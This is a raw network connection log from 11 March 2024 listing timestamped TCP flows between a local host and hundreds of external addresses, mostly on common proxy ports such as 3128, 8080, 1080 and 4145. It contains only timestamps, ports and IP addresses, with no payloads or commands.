Mar 11, 2024 16:39:45.254508972 CET	50467	3128	192.168.2.10	2.179.193.146
Mar 11, 2024 16:39:45.254508972 CET	50475	8085	192.168.2.10	191.102.254.54
Mar 11, 2024 16:39:45.254525900 CET	50452	5678	192.168.2.10	91.247.92.63
Mar 11, 2024 16:39:45.255254030 CET	51269	999	192.168.2.10	45.225.204.8
Mar 11, 2024 16:39:45.256664038 CET	80	50372	50.173.140.149	192.168.2.10
Mar 11, 2024 16:39:45.257590055 CET	3128	50314	194.145.209.187	192.168.2.10
Mar 11, 2024 16:39:45.257623911 CET	14669	51110	45.81.232.17	192.168.2.10
Mar 11, 2024 16:39:45.257755041 CET	51110	14669	192.168.2.10	45.81.232.17
Mar 11, 2024 16:39:45.257832050 CET	51110	14669	192.168.2.10	45.81.232.17
Mar 11, 2024 16:39:45.257960081 CET	46783	50572	162.241.158.204	192.168.2.10
Mar 11, 2024 16:39:45.258672953 CET	5678	49874	1.15.62.12	192.168.2.10
Mar 11, 2024 16:39:45.260642052 CET	80	50912	47.93.121.200	192.168.2.10
Mar 11, 2024 16:39:45.260654926 CET	5123	50514	72.10.160.92	192.168.2.10
Mar 11, 2024 16:39:45.260837078 CET	50912	80	192.168.2.10	47.93.121.200
Mar 11, 2024 16:39:45.261668921 CET	80	50912	47.93.121.200	192.168.2.10
Mar 11, 2024 16:39:45.261681080 CET	80	50912	47.93.121.200	192.168.2.10
Mar 11, 2024 16:39:45.261723042 CET	50912	80	192.168.2.10	47.93.121.200
Mar 11, 2024 16:39:45.261723042 CET	50912	80	192.168.2.10	47.93.121.200
Mar 11, 2024 16:39:45.261766911 CET	80	50912	47.93.121.200	192.168.2.10
Mar 11, 2024 16:39:45.261944056 CET	50912	80	192.168.2.10	47.93.121.200
Mar 11, 2024 16:39:45.263041019 CET	80	50746	65.1.244.232	192.168.2.10
Mar 11, 2024 16:39:45.263998985 CET	1081	50545	5.252.23.220	192.168.2.10
Mar 11, 2024 16:39:45.266098022 CET	51270	999	192.168.2.10	201.77.110.1
Mar 11, 2024 16:39:45.266354084 CET	55994	50554	38.127.172.219	192.168.2.10
Mar 11, 2024 16:39:45.269731998 CET	6008	51094	45.11.95.166	192.168.2.10
Mar 11, 2024 16:39:45.269839048 CET	51094	6008	192.168.2.10	45.11.95.166
Mar 11, 2024 16:39:45.270047903 CET	50476	8080	192.168.2.10	1.0.171.213
Mar 11, 2024 16:39:45.270051003 CET	50019	31295	192.168.2.10	67.43.236.20
Mar 11, 2024 16:39:45.270054102 CET	50460	80	192.168.2.10	217.112.80.252
Mar 11, 2024 16:39:45.270066023 CET	50756	46919	192.168.2.10	51.15.16.96
Mar 11, 2024 16:39:45.270077944 CET	50465	999	192.168.2.10	157.100.56.40
Mar 11, 2024 16:39:45.270077944 CET	50466	27391	192.168.2.10	72.195.34.60
Mar 11, 2024 16:39:45.270080090 CET	50737	64523	192.168.2.10	46.105.44.29
Mar 11, 2024 16:39:45.270081043 CET	50014	5385	192.168.2.10	72.10.160.170
Mar 11, 2024 16:39:45.270081997 CET	50496	5678	192.168.2.10	197.251.236.227
Mar 11, 2024 16:39:45.270091057 CET	50470	14287	192.168.2.10	64.227.108.182
Mar 11, 2024 16:39:45.270097017 CET	50671	1080	192.168.2.10	195.98.93.234
Mar 11, 2024 16:39:45.270100117 CET	50497	4153	192.168.2.10	109.86.220.12
Mar 11, 2024 16:39:45.270114899 CET	50455	9999	192.168.2.10	113.195.224.222
Mar 11, 2024 16:39:45.270114899 CET	50010	3128	192.168.2.10	178.128.148.69
Mar 11, 2024 16:39:45.270117998 CET	50488	9090	192.168.2.10	103.105.76.214
Mar 11, 2024 16:39:45.270119905 CET	49894	64768	192.168.2.10	173.212.250.16
Mar 11, 2024 16:39:45.270158052 CET	50498	17982	192.168.2.10	51.89.173.40
Mar 11, 2024 16:39:45.270159960 CET	50502	80	192.168.2.10	35.196.18.239
Mar 11, 2024 16:39:45.270158052 CET	50503	1080	192.168.2.10	103.47.93.236
Mar 11, 2024 16:39:45.270575047 CET	51094	6008	192.168.2.10	45.11.95.166
Mar 11, 2024 16:39:45.270734072 CET	3129	49719	20.219.180.149	192.168.2.10
Mar 11, 2024 16:39:45.271552086 CET	22942	51169	92.204.135.37	192.168.2.10
Mar 11, 2024 16:39:45.271676064 CET	51169	22942	192.168.2.10	92.204.135.37
Mar 11, 2024 16:39:45.271759987 CET	51169	22942	192.168.2.10	92.204.135.37
Mar 11, 2024 16:39:45.272659063 CET	80	50388	50.218.57.68	192.168.2.10
Mar 11, 2024 16:39:45.273284912 CET	51272	3128	192.168.2.10	45.10.42.20
Mar 11, 2024 16:39:45.273931026 CET	3128	51196	66.29.154.103	192.168.2.10
Mar 11, 2024 16:39:45.275190115 CET	62969	51170	92.204.135.37	192.168.2.10
Mar 11, 2024 16:39:45.275286913 CET	51170	62969	192.168.2.10	92.204.135.37
Mar 11, 2024 16:39:45.275351048 CET	80	49918	50.175.212.74	192.168.2.10
Mar 11, 2024 16:39:45.275480032 CET	51170	62969	192.168.2.10	92.204.135.37
Mar 11, 2024 16:39:45.276277065 CET	24397	50535	72.10.160.90	192.168.2.10
Mar 11, 2024 16:39:45.276736021 CET	5529	50559	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:45.277069092 CET	4145	50213	68.1.210.163	192.168.2.10
Mar 11, 2024 16:39:45.277152061 CET	50213	4145	192.168.2.10	68.1.210.163
Mar 11, 2024 16:39:45.277355909 CET	50213	4145	192.168.2.10	68.1.210.163
Mar 11, 2024 16:39:45.278456926 CET	1080	50371	202.162.219.10	192.168.2.10
Mar 11, 2024 16:39:45.278583050 CET	1080	50371	202.162.219.10	192.168.2.10
Mar 11, 2024 16:39:45.278594971 CET	80	51210	104.21.85.200	192.168.2.10
Mar 11, 2024 16:39:45.278673887 CET	51210	80	192.168.2.10	104.21.85.200
Mar 11, 2024 16:39:45.278781891 CET	51210	80	192.168.2.10	104.21.85.200
Mar 11, 2024 16:39:45.278795004 CET	13341	51179	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:45.278922081 CET	51274	443	192.168.2.10	222.255.238.159
Mar 11, 2024 16:39:45.278949022 CET	443	51274	222.255.238.159	192.168.2.10
Mar 11, 2024 16:39:45.279035091 CET	51274	443	192.168.2.10	222.255.238.159
Mar 11, 2024 16:39:45.279225111 CET	1080	51093	202.162.219.10	192.168.2.10
Mar 11, 2024 16:39:45.279309034 CET	51274	443	192.168.2.10	222.255.238.159
Mar 11, 2024 16:39:45.279309034 CET	51093	1080	192.168.2.10	202.162.219.10
Mar 11, 2024 16:39:45.279334068 CET	443	51274	222.255.238.159	192.168.2.10
Mar 11, 2024 16:39:45.279391050 CET	51093	1080	192.168.2.10	202.162.219.10
Mar 11, 2024 16:39:45.279443026 CET	80	51111	162.159.242.10	192.168.2.10
Mar 11, 2024 16:39:45.279495955 CET	80	51111	162.159.242.10	192.168.2.10
Mar 11, 2024 16:39:45.280164957 CET	80	51111	162.159.242.10	192.168.2.10
Mar 11, 2024 16:39:45.280194998 CET	51111	80	192.168.2.10	162.159.242.10
Mar 11, 2024 16:39:45.280472040 CET	51111	80	192.168.2.10	162.159.242.10
Mar 11, 2024 16:39:45.280860901 CET	51275	3128	192.168.2.10	85.193.93.73
Mar 11, 2024 16:39:45.281126976 CET	80	50613	58.234.116.197	192.168.2.10
Mar 11, 2024 16:39:45.281250954 CET	80	50613	58.234.116.197	192.168.2.10
Mar 11, 2024 16:39:45.281393051 CET	51276	999	192.168.2.10	190.89.37.73
Mar 11, 2024 16:39:45.281774044 CET	3128	50318	46.101.102.134	192.168.2.10
Mar 11, 2024 16:39:45.281805038 CET	80	51173	68.185.57.66	192.168.2.10
Mar 11, 2024 16:39:45.283543110 CET	50492	8080	192.168.2.10	194.124.36.75
Mar 11, 2024 16:39:45.283543110 CET	50486	3128	192.168.2.10	84.17.51.241
Mar 11, 2024 16:39:45.283554077 CET	50495	3128	192.168.2.10	107.155.65.11
Mar 11, 2024 16:39:45.283554077 CET	50504	80	192.168.2.10	172.173.132.85
Mar 11, 2024 16:39:45.283570051 CET	50501	8080	192.168.2.10	14.143.172.238
Mar 11, 2024 16:39:45.283854008 CET	80	51120	58.234.116.197	192.168.2.10
Mar 11, 2024 16:39:45.283993006 CET	51120	80	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:45.284116030 CET	51120	80	192.168.2.10	58.234.116.197
Mar 11, 2024 16:39:45.284872055 CET	60651	50601	162.241.6.97	192.168.2.10
Mar 11, 2024 16:39:45.285172939 CET	51277	8080	192.168.2.10	81.12.119.171
Mar 11, 2024 16:39:45.285597086 CET	44374	50194	172.93.111.235	192.168.2.10
Mar 11, 2024 16:39:45.285686970 CET	50194	44374	192.168.2.10	172.93.111.235
Mar 11, 2024 16:39:45.285712004 CET	50817	8080	192.168.2.10	177.229.210.50
Mar 11, 2024 16:39:45.285712957 CET	49718	80	192.168.2.10	41.74.91.244
Mar 11, 2024 16:39:45.285721064 CET	49725	9375	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:45.285727024 CET	50021	3933	192.168.2.10	67.43.228.253
Mar 11, 2024 16:39:45.285727024 CET	50837	26693	192.168.2.10	67.43.236.20
Mar 11, 2024 16:39:45.285732985 CET	50265	3128	192.168.2.10	13.40.239.130
Mar 11, 2024 16:39:45.285797119 CET	50844	28723	192.168.2.10	67.43.227.227
Mar 11, 2024 16:39:45.285798073 CET	50825	18129	192.168.2.10	67.43.236.20
Mar 11, 2024 16:39:45.287576914 CET	51278	8080	192.168.2.10	38.159.232.6
Mar 11, 2024 16:39:45.291835070 CET	80	50918	39.108.227.108	192.168.2.10
Mar 11, 2024 16:39:45.292179108 CET	50918	80	192.168.2.10	39.108.227.108
Mar 11, 2024 16:39:45.293004990 CET	4145	50214	24.249.199.4	192.168.2.10
Mar 11, 2024 16:39:45.293023109 CET	80	50918	39.108.227.108	192.168.2.10
Mar 11, 2024 16:39:45.293081999 CET	50214	4145	192.168.2.10	24.249.199.4
Mar 11, 2024 16:39:45.293087006 CET	50918	80	192.168.2.10	39.108.227.108
Mar 11, 2024 16:39:45.293231010 CET	50214	4145	192.168.2.10	24.249.199.4
Mar 11, 2024 16:39:45.293481112 CET	51279	55552	192.168.2.10	64.90.51.168
Mar 11, 2024 16:39:45.296019077 CET	51280	9090	192.168.2.10	168.181.81.225
Mar 11, 2024 16:39:45.297699928 CET	8888	50413	120.79.101.0	192.168.2.10
Mar 11, 2024 16:39:45.297816038 CET	51281	4145	192.168.2.10	103.35.108.145
Mar 11, 2024 16:39:45.298470020 CET	51282	51372	192.168.2.10	213.226.16.46
Mar 11, 2024 16:39:45.299357891 CET	8888	50413	120.79.101.0	192.168.2.10
Mar 11, 2024 16:39:45.299686909 CET	51283	1981	192.168.2.10	41.65.55.2
Mar 11, 2024 16:39:45.300674915 CET	51284	80	192.168.2.10	162.223.116.75
Mar 11, 2024 16:39:45.301316023 CET	50766	80	192.168.2.10	50.170.90.34
Mar 11, 2024 16:39:45.301316023 CET	50850	80	192.168.2.10	34.75.202.63
Mar 11, 2024 16:39:45.301336050 CET	50003	28695	192.168.2.10	92.204.134.38
Mar 11, 2024 16:39:45.301336050 CET	49798	3129	192.168.2.10	115.248.66.131
Mar 11, 2024 16:39:45.301338911 CET	50519	8080	192.168.2.10	103.164.58.190
Mar 11, 2024 16:39:45.301359892 CET	50524	2906	192.168.2.10	148.72.209.174
Mar 11, 2024 16:39:45.301361084 CET	50525	51251	192.168.2.10	49.12.126.53
Mar 11, 2024 16:39:45.301362991 CET	50520	8080	192.168.2.10	213.244.91.179
Mar 11, 2024 16:39:45.301363945 CET	50528	3128	192.168.2.10	91.233.223.147
Mar 11, 2024 16:39:45.301362991 CET	50518	3629	192.168.2.10	185.215.53.241
Mar 11, 2024 16:39:45.301363945 CET	50539	999	192.168.2.10	167.250.222.233
Mar 11, 2024 16:39:45.301364899 CET	50513	25256	192.168.2.10	94.23.220.136
Mar 11, 2024 16:39:45.301367044 CET	50531	9812	192.168.2.10	12.7.109.1
Mar 11, 2024 16:39:45.301366091 CET	50935	80	192.168.2.10	50.207.199.85
Mar 11, 2024 16:39:45.301367044 CET	50523	80	192.168.2.10	188.166.56.246
Mar 11, 2024 16:39:45.301363945 CET	50526	5678	192.168.2.10	36.95.189.165
Mar 11, 2024 16:39:45.301363945 CET	50515	80	192.168.2.10	51.75.74.18
Mar 11, 2024 16:39:45.301364899 CET	50521	9999	192.168.2.10	102.134.181.142
Mar 11, 2024 16:39:45.301661015 CET	50529	21802	192.168.2.10	34.93.157.87
Mar 11, 2024 16:39:45.301661015 CET	49909	3128	192.168.2.10	194.182.187.78
Mar 11, 2024 16:39:45.301661015 CET	50536	22450	192.168.2.10	50.63.12.33
Mar 11, 2024 16:39:45.302061081 CET	51285	8089	192.168.2.10	123.182.59.208
Mar 11, 2024 16:39:45.302272081 CET	8000	50285	167.172.79.17	192.168.2.10
Mar 11, 2024 16:39:45.302584887 CET	3129	50178	20.204.214.79	192.168.2.10
Mar 11, 2024 16:39:45.303653955 CET	5678	49760	178.212.51.79	192.168.2.10
Mar 11, 2024 16:39:45.303709984 CET	18080	50977	60.188.102.225	192.168.2.10
Mar 11, 2024 16:39:45.303934097 CET	51286	8080	192.168.2.10	206.42.27.113
Mar 11, 2024 16:39:45.303997040 CET	4153	50102	203.76.117.74	192.168.2.10
Mar 11, 2024 16:39:45.303999901 CET	50977	18080	192.168.2.10	60.188.102.225
Mar 11, 2024 16:39:45.304023981 CET	50977	18080	192.168.2.10	60.188.102.225
Mar 11, 2024 16:39:45.304254055 CET	51287	18080	192.168.2.10	60.188.102.225
Mar 11, 2024 16:39:45.305080891 CET	80	51009	46.35.9.110	192.168.2.10
Mar 11, 2024 16:39:45.305802107 CET	4019	50505	171.235.166.222	192.168.2.10
Mar 11, 2024 16:39:45.305813074 CET	4019	50505	171.235.166.222	192.168.2.10
Mar 11, 2024 16:39:45.305888891 CET	50505	4019	192.168.2.10	171.235.166.222
Mar 11, 2024 16:39:45.305911064 CET	8000	49882	178.128.156.219	192.168.2.10
Mar 11, 2024 16:39:45.306078911 CET	50505	4019	192.168.2.10	171.235.166.222
Mar 11, 2024 16:39:45.308283091 CET	8080	51167	153.139.233.218	192.168.2.10
Mar 11, 2024 16:39:45.308604956 CET	51288	2512	192.168.2.10	154.16.116.166
Mar 11, 2024 16:39:45.309048891 CET	51289	3128	192.168.2.10	59.153.158.19
Mar 11, 2024 16:39:45.309094906 CET	8888	50542	31.43.158.108	192.168.2.10
Mar 11, 2024 16:39:45.309607983 CET	64654	50340	162.19.7.53	192.168.2.10
Mar 11, 2024 16:39:45.311450005 CET	55137	50009	192.169.197.146	192.168.2.10
Mar 11, 2024 16:39:45.312093973 CET	8080	51131	180.191.16.5	192.168.2.10
Mar 11, 2024 16:39:45.312256098 CET	999	50490	190.71.24.129	192.168.2.10
Mar 11, 2024 16:39:45.312277079 CET	51290	46695	192.168.2.10	66.228.35.209
Mar 11, 2024 16:39:45.312657118 CET	51291	9367	192.168.2.10	50.63.12.33
Mar 11, 2024 16:39:45.312659025 CET	51292	80	192.168.2.10	104.16.105.198
Mar 11, 2024 16:39:45.315877914 CET	51293	8080	192.168.2.10	103.189.96.98
Mar 11, 2024 16:39:45.315958977 CET	8081	50981	185.49.31.207	192.168.2.10
Mar 11, 2024 16:39:45.316059113 CET	50981	8081	192.168.2.10	185.49.31.207
Mar 11, 2024 16:39:45.316059113 CET	50981	8081	192.168.2.10	185.49.31.207
Mar 11, 2024 16:39:45.316173077 CET	1080	50593	27.0.234.206	192.168.2.10
Mar 11, 2024 16:39:45.316303015 CET	51294	8081	192.168.2.10	185.49.31.207
Mar 11, 2024 16:39:45.316617012 CET	51296	80	192.168.2.10	190.58.248.86
Mar 11, 2024 16:39:45.316689014 CET	51295	59045	192.168.2.10	164.92.237.188
Mar 11, 2024 16:39:45.316709995 CET	8888	50427	188.166.30.17	192.168.2.10
Mar 11, 2024 16:39:45.316757917 CET	15673	51136	43.131.245.216	192.168.2.10
Mar 11, 2024 16:39:45.316942930 CET	50510	1981	192.168.2.10	156.200.116.71
Mar 11, 2024 16:39:45.316951990 CET	50516	80	192.168.2.10	115.244.127.162
Mar 11, 2024 16:39:45.316951990 CET	50869	10049	192.168.2.10	67.43.227.227
Mar 11, 2024 16:39:45.316951990 CET	50871	80	192.168.2.10	50.168.72.122
Mar 11, 2024 16:39:45.316965103 CET	50532	25810	192.168.2.10	146.59.18.246
Mar 11, 2024 16:39:45.316965103 CET	50533	8893	192.168.2.10	186.215.87.194
Mar 11, 2024 16:39:45.316977978 CET	50552	31409	192.168.2.10	121.139.218.165
Mar 11, 2024 16:39:45.316977978 CET	50553	16379	192.168.2.10	163.172.137.49
Mar 11, 2024 16:39:45.316982031 CET	50556	4153	192.168.2.10	176.197.144.158
Mar 11, 2024 16:39:45.316992998 CET	50555	80	192.168.2.10	51.161.56.52
Mar 11, 2024 16:39:45.316992998 CET	50544	999	192.168.2.10	179.1.133.33
Mar 11, 2024 16:39:45.316997051 CET	50560	1080	192.168.2.10	45.234.100.112
Mar 11, 2024 16:39:45.316998005 CET	50557	39095	192.168.2.10	192.163.200.82
Mar 11, 2024 16:39:45.316998959 CET	50017	80	192.168.2.10	50.168.210.239
Mar 11, 2024 16:39:45.317018986 CET	50551	3629	192.168.2.10	46.23.53.164
Mar 11, 2024 16:39:45.317073107 CET	50512	52903	192.168.2.10	203.161.32.242
Mar 11, 2024 16:39:45.317086935 CET	50522	30453	192.168.2.10	174.136.57.169
Mar 11, 2024 16:39:45.317090988 CET	51136	15673	192.168.2.10	43.131.245.216
Mar 11, 2024 16:39:45.317090988 CET	50509	80	192.168.2.10	3.128.142.113
Mar 11, 2024 16:39:45.317092896 CET	50527	8080	192.168.2.10	20.205.115.87
Mar 11, 2024 16:39:45.317095041 CET	50779	59623	192.168.2.10	62.182.114.164
Mar 11, 2024 16:39:45.317096949 CET	50861	5931	192.168.2.10	72.10.164.178
Mar 11, 2024 16:39:45.317096949 CET	50530	80	192.168.2.10	152.32.132.220
Mar 11, 2024 16:39:45.317096949 CET	49975	80	192.168.2.10	50.172.75.125
Mar 11, 2024 16:39:45.317116022 CET	50547	25525	192.168.2.10	162.19.7.61
Mar 11, 2024 16:39:45.317117929 CET	50548	999	192.168.2.10	168.90.255.60
Mar 11, 2024 16:39:45.317118883 CET	50569	8080	192.168.2.10	103.111.136.110
Mar 11, 2024 16:39:45.317127943 CET	50575	1256	192.168.2.10	188.133.155.215
Mar 11, 2024 16:39:45.317470074 CET	51136	15673	192.168.2.10	43.131.245.216
Mar 11, 2024 16:39:45.318000078 CET	80	51147	104.19.247.62	192.168.2.10
Mar 11, 2024 16:39:45.318238974 CET	80	51147	104.19.247.62	192.168.2.10
Mar 11, 2024 16:39:45.318300009 CET	80	51174	50.172.39.98	192.168.2.10
Mar 11, 2024 16:39:45.318399906 CET	80	51147	104.19.247.62	192.168.2.10
Mar 11, 2024 16:39:45.318473101 CET	51147	80	192.168.2.10	104.19.247.62
Mar 11, 2024 16:39:45.318679094 CET	51147	80	192.168.2.10	104.19.247.62
Mar 11, 2024 16:39:45.318736076 CET	8000	49734	14.103.24.148	192.168.2.10
Mar 11, 2024 16:39:45.319103003 CET	51297	999	192.168.2.10	38.50.165.55
Mar 11, 2024 16:39:45.319166899 CET	8081	50981	185.49.31.207	192.168.2.10
Mar 11, 2024 16:39:45.319618940 CET	80	50885	106.14.255.124	192.168.2.10
Mar 11, 2024 16:39:45.319675922 CET	50885	80	192.168.2.10	106.14.255.124
Mar 11, 2024 16:39:45.319782019 CET	15673	51208	23.95.209.142	192.168.2.10
Mar 11, 2024 16:39:45.320067883 CET	51208	15673	192.168.2.10	23.95.209.142
Mar 11, 2024 16:39:45.320667982 CET	50885	80	192.168.2.10	106.14.255.124
Mar 11, 2024 16:39:45.320668936 CET	51298	80	192.168.2.10	106.14.255.124
Mar 11, 2024 16:39:45.320856094 CET	51208	15673	192.168.2.10	23.95.209.142
Mar 11, 2024 16:39:45.321378946 CET	51299	4145	192.168.2.10	110.78.151.165
Mar 11, 2024 16:39:45.321707010 CET	4145	51224	68.71.247.130	192.168.2.10
Mar 11, 2024 16:39:45.322295904 CET	8123	49759	20.24.43.214	192.168.2.10
Mar 11, 2024 16:39:45.322324038 CET	51300	999	192.168.2.10	181.78.11.217
Mar 11, 2024 16:39:45.322916031 CET	80	49890	50.168.72.112	192.168.2.10
Mar 11, 2024 16:39:45.322930098 CET	1080	51135	27.0.234.206	192.168.2.10
Mar 11, 2024 16:39:45.323071003 CET	51135	1080	192.168.2.10	27.0.234.206
Mar 11, 2024 16:39:45.323071003 CET	51135	1080	192.168.2.10	27.0.234.206
Mar 11, 2024 16:39:45.323360920 CET	8888	50255	3.25.234.175	192.168.2.10
Mar 11, 2024 16:39:45.323930025 CET	29985	51161	154.12.178.107	192.168.2.10
Mar 11, 2024 16:39:45.323951960 CET	51301	8080	192.168.2.10	190.220.228.147
Mar 11, 2024 16:39:45.324018955 CET	51161	29985	192.168.2.10	154.12.178.107
Mar 11, 2024 16:39:45.324165106 CET	51161	29985	192.168.2.10	154.12.178.107
Mar 11, 2024 16:39:45.324178934 CET	7891	50230	43.129.228.46	192.168.2.10
Mar 11, 2024 16:39:45.324243069 CET	8888	50673	95.164.89.123	192.168.2.10
Mar 11, 2024 16:39:45.324254036 CET	8888	50673	95.164.89.123	192.168.2.10
Mar 11, 2024 16:39:45.324974060 CET	8888	51156	95.164.89.123	192.168.2.10
Mar 11, 2024 16:39:45.324986935 CET	8888	51165	203.74.125.18	192.168.2.10
Mar 11, 2024 16:39:45.325045109 CET	51156	8888	192.168.2.10	95.164.89.123
Mar 11, 2024 16:39:45.325077057 CET	51165	8888	192.168.2.10	203.74.125.18
Mar 11, 2024 16:39:45.325221062 CET	51156	8888	192.168.2.10	95.164.89.123
Mar 11, 2024 16:39:45.325280905 CET	51165	8888	192.168.2.10	203.74.125.18
Mar 11, 2024 16:39:45.325774908 CET	51302	3128	192.168.2.10	62.33.207.202
Mar 11, 2024 16:39:45.326241016 CET	3128	50184	161.97.132.227	192.168.2.10
Mar 11, 2024 16:39:45.326256037 CET	39452	50380	167.172.109.12	192.168.2.10
Mar 11, 2024 16:39:45.326389074 CET	50184	3128	192.168.2.10	161.97.132.227
Mar 11, 2024 16:39:45.326611042 CET	50184	3128	192.168.2.10	161.97.132.227
Mar 11, 2024 16:39:45.328128099 CET	51304	4009	192.168.2.10	45.61.187.67
Mar 11, 2024 16:39:45.328176022 CET	51303	27360	192.168.2.10	72.195.34.35
Mar 11, 2024 16:39:45.330180883 CET	8888	50255	3.25.234.175	192.168.2.10
Mar 11, 2024 16:39:45.330409050 CET	14282	50672	192.252.208.70	192.168.2.10
Mar 11, 2024 16:39:45.330673933 CET	41491	50398	167.172.109.12	192.168.2.10
Mar 11, 2024 16:39:45.330687046 CET	80	51238	172.64.152.98	192.168.2.10
Mar 11, 2024 16:39:45.330780983 CET	51238	80	192.168.2.10	172.64.152.98
Mar 11, 2024 16:39:45.331244946 CET	51238	80	192.168.2.10	172.64.152.98
Mar 11, 2024 16:39:45.331337929 CET	50255	8888	192.168.2.10	3.25.234.175
Mar 11, 2024 16:39:45.332542896 CET	50336	83	192.168.2.10	103.48.68.101
Mar 11, 2024 16:39:45.332577944 CET	50570	19802	192.168.2.10	72.167.38.7
Mar 11, 2024 16:39:45.332578897 CET	50566	8080	192.168.2.10	103.140.34.61
Mar 11, 2024 16:39:45.332578897 CET	50574	42647	192.168.2.10	185.66.59.4
Mar 11, 2024 16:39:45.332578897 CET	50564	45534	192.168.2.10	209.250.248.127
Mar 11, 2024 16:39:45.332581043 CET	50563	3128	192.168.2.10	198.199.122.10
Mar 11, 2024 16:39:45.332581043 CET	50904	22645	192.168.2.10	67.43.236.18
Mar 11, 2024 16:39:45.332592010 CET	50568	56225	192.168.2.10	104.238.111.107
Mar 11, 2024 16:39:45.332593918 CET	50578	23711	192.168.2.10	45.81.232.17
Mar 11, 2024 16:39:45.332596064 CET	50580	51507	192.168.2.10	135.148.10.161
Mar 11, 2024 16:39:45.332595110 CET	50033	26087	192.168.2.10	67.43.228.251
Mar 11, 2024 16:39:45.332596064 CET	50583	8080	192.168.2.10	85.172.0.30
Mar 11, 2024 16:39:45.332596064 CET	50939	46656	192.168.2.10	38.127.179.126
Mar 11, 2024 16:39:45.332602024 CET	50604	38772	192.168.2.10	213.136.79.177
Mar 11, 2024 16:39:45.332612991 CET	50577	18080	192.168.2.10	54.178.159.199
Mar 11, 2024 16:39:45.332612991 CET	50600	3128	192.168.2.10	185.191.236.162
Mar 11, 2024 16:39:45.332612991 CET	50588	46296	192.168.2.10	46.101.5.73
Mar 11, 2024 16:39:45.332619905 CET	50612	38242	192.168.2.10	162.144.36.208
Mar 11, 2024 16:39:45.332619905 CET	50761	8081	192.168.2.10	178.141.249.246
Mar 11, 2024 16:39:45.332645893 CET	50597	4145	192.168.2.10	103.66.233.161
Mar 11, 2024 16:39:45.332649946 CET	50581	3128	192.168.2.10	176.113.73.99
Mar 11, 2024 16:39:45.332649946 CET	50609	8080	192.168.2.10	185.128.153.10
Mar 11, 2024 16:39:45.332839012 CET	50562	47056	192.168.2.10	45.81.232.17
Mar 11, 2024 16:39:45.332839012 CET	50579	8080	192.168.2.10	5.58.97.89
Mar 11, 2024 16:39:45.332856894 CET	5935	51199	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:45.333631039 CET	4145	51186	184.170.249.65	192.168.2.10
Mar 11, 2024 16:39:45.333786964 CET	51186	4145	192.168.2.10	184.170.249.65
Mar 11, 2024 16:39:45.334923983 CET	51186	4145	192.168.2.10	184.170.249.65
Mar 11, 2024 16:39:45.335261106 CET	51305	80	192.168.2.10	172.67.181.147
Mar 11, 2024 16:39:45.335278034 CET	7777	50025	111.8.155.54	192.168.2.10
Mar 11, 2024 16:39:45.335463047 CET	50025	7777	192.168.2.10	111.8.155.54
Mar 11, 2024 16:39:45.335503101 CET	50025	7777	192.168.2.10	111.8.155.54
Mar 11, 2024 16:39:45.335974932 CET	51306	3128	192.168.2.10	38.54.101.254
Mar 11, 2024 16:39:45.335994959 CET	51307	3389	192.168.2.10	119.91.214.119
Mar 11, 2024 16:39:45.336349964 CET	51308	8080	192.168.2.10	103.106.216.161
Mar 11, 2024 16:39:45.336518049 CET	14455	51220	192.252.209.155	192.168.2.10
Mar 11, 2024 16:39:45.338649035 CET	51309	10403	192.168.2.10	149.28.240.100
Mar 11, 2024 16:39:45.338666916 CET	29197	50663	72.10.160.90	192.168.2.10
Mar 11, 2024 16:39:45.338680983 CET	10801	50651	72.10.164.178	192.168.2.10
Mar 11, 2024 16:39:45.339016914 CET	1080	51137	138.36.150.16	192.168.2.10
Mar 11, 2024 16:39:45.339024067 CET	51310	80	192.168.2.10	104.17.132.79
Mar 11, 2024 16:39:45.339122057 CET	51137	1080	192.168.2.10	138.36.150.16
Mar 11, 2024 16:39:45.339267969 CET	51137	1080	192.168.2.10	138.36.150.16
Mar 11, 2024 16:39:45.341398954 CET	3128	51207	84.17.35.129	192.168.2.10
Mar 11, 2024 16:39:45.341432095 CET	51311	63452	192.168.2.10	162.214.225.223
Mar 11, 2024 16:39:45.341651917 CET	4145	51068	184.181.217.210	192.168.2.10
Mar 11, 2024 16:39:45.341876984 CET	4145	51068	184.181.217.210	192.168.2.10
Mar 11, 2024 16:39:45.342307091 CET	51312	4145	192.168.2.10	184.181.217.210
Mar 11, 2024 16:39:45.343485117 CET	51313	8080	192.168.2.10	14.232.235.13
Mar 11, 2024 16:39:45.343485117 CET	51314	18003	192.168.2.10	67.43.228.250
Mar 11, 2024 16:39:45.343621969 CET	3128	51023	45.159.189.244	192.168.2.10
Mar 11, 2024 16:39:45.344510078 CET	4145	50700	198.8.94.170	192.168.2.10
Mar 11, 2024 16:39:45.345237970 CET	51315	8085	192.168.2.10	191.102.254.9
Mar 11, 2024 16:39:45.346259117 CET	51316	9002	192.168.2.10	58.20.248.139
Mar 11, 2024 16:39:45.346623898 CET	80	50751	50.207.199.80	192.168.2.10
Mar 11, 2024 16:39:45.347462893 CET	51317	62543	192.168.2.10	172.93.111.235
Mar 11, 2024 16:39:45.348191977 CET	50154	8888	192.168.2.10	36.134.91.82
Mar 11, 2024 16:39:45.348193884 CET	49833	3129	192.168.2.10	20.204.212.76
Mar 11, 2024 16:39:45.348208904 CET	50590	5896	192.168.2.10	94.23.168.246
Mar 11, 2024 16:39:45.348212957 CET	50931	20001	192.168.2.10	67.43.236.20
Mar 11, 2024 16:39:45.348212957 CET	50117	80	192.168.2.10	50.145.6.36
Mar 11, 2024 16:39:45.348231077 CET	50598	16379	192.168.2.10	51.158.96.66
Mar 11, 2024 16:39:45.348232985 CET	50594	16379	192.168.2.10	51.158.108.165
Mar 11, 2024 16:39:45.348232985 CET	50606	3629	192.168.2.10	103.144.209.104
Mar 11, 2024 16:39:45.348238945 CET	50838	80	192.168.2.10	50.174.145.14
Mar 11, 2024 16:39:45.348253012 CET	50599	60148	192.168.2.10	207.180.198.241
Mar 11, 2024 16:39:45.348251104 CET	50617	8080	192.168.2.10	1.0.205.87
Mar 11, 2024 16:39:45.348257065 CET	50636	1080	192.168.2.10	77.37.155.85
Mar 11, 2024 16:39:45.348257065 CET	50596	8080	192.168.2.10	102.164.252.145
Mar 11, 2024 16:39:45.348251104 CET	50624	8079	192.168.2.10	94.154.152.4
Mar 11, 2024 16:39:45.348257065 CET	50603	80	192.168.2.10	51.222.155.142
Mar 11, 2024 16:39:45.348251104 CET	50635	5566	192.168.2.10	195.201.246.166
Mar 11, 2024 16:39:45.348258972 CET	50605	9292	192.168.2.10	45.232.79.0
